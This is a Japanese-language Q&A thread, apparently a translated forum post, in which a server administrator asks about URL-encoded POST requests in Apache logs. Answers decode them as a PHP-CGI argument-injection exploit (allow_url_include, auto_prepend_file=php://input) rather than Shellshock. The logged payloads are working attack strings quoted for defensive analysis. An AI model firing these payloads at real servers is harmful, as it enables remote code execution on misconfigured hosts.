私のサーバーは明らかに最新であり、Shellshockエクスプロイトに対して脆弱ではありません。
ただし、私はまだ興味があり、次の悪意のある脆弱性スキャンをデコードする方法を理解したいと思います。私のログにはこれらの長いシリーズがあり、さまざまなcgiスクリプト名をテストしています:
root@ks304960 01:41:29 /var/log/Apache2 # cat access.log | grep -v "internal dummy connection" | grep cgi
162.247.73.74 - - [26/Sep/2014:04:02:58 +0000] "POST /cgi-bin/php/%63%67%69%6E/%70%68%70?%2D%64+%61%6C%75%6F%6E+%2D%64+%6D%6F%64+%2D%64+%73%75%68%6F%6E%3D%6F%6E+%2D%64+%75%6E%63%74%73%3D%22%22+%2D%64+%64%6E%65+%2D%64+%61%75%74%6F%5F%70%72%%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%74%5F%3D%30+%2D%64+%75%74+%2D%6E HTTP/1.1" 404 452 "-" "-"
104.194.6.175 - - [26/Sep/2014:18:23:29 +0000] "POST /cgi-bin/php5?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 404 467 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
104.194.6.175 - - [26/Sep/2014:18:24:13 +0000] "POST /cgi-bin/php.cgi?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 404 470 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
POSTで文字列をデコードする方法は? Shellshockの脆弱性をスキャンする以外に、何を達成しようとしているのですか?
エクスプロイトスキャンのその他の例: このShellshockスキャンはどのように機能しますか?
値はURLエンコードされているだけです。これを使用してクエリ文字列をデコードできます。 http://meyerweb.com/eric/tools/dencoder/
最初のもの:
この場合、実際のパスはエンコードされます。
%63%67%69%6E/%70%68%70 -> cgin/php
実際のクエリ文字列は次のようにデコードされます。
-d aluon -d mod -d suhon=on -d uncts="" -d dne -d auto_prt -d cgi.force_redirect=0 -d t_=0 -d ut -n
唯一の注意点は、72 %% 74に余分な%があり、適切にデコードするために削除する必要があることです。これが単なる間違いかどうかはわかりません。
2番目/ 3番目
クエリ文字列は次のようにデコードされます。
-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -n
どちらの場合でも、明らかにPHPインタープリターの引数にシェルコードを挿入しようとしていることがわかります。
「Shellshock」エクスプロイトをスキャンしていません。これは、適切に構成されていないサーバーがPHPインタプリタのコピーをCGIディレクトリに残し、任意のコードのリモート実行を許可するという古いエクスプロイトをスキャンしています。
これは、次のシェルコマンドを使用してデコードできます。
echo "%2D%64+%61%6C%6C" | sed "s@+@ @g;s@%@\\\\x@g" | xargs -0 printf "%b"
これは基本的に、URLのクエリ部分で使用されるURLエンコード文字列です。パーセント(%
)記号とそれに続く2つの16進数とプラス(+
)記号としてエンコードされたスペースが付いた各部分。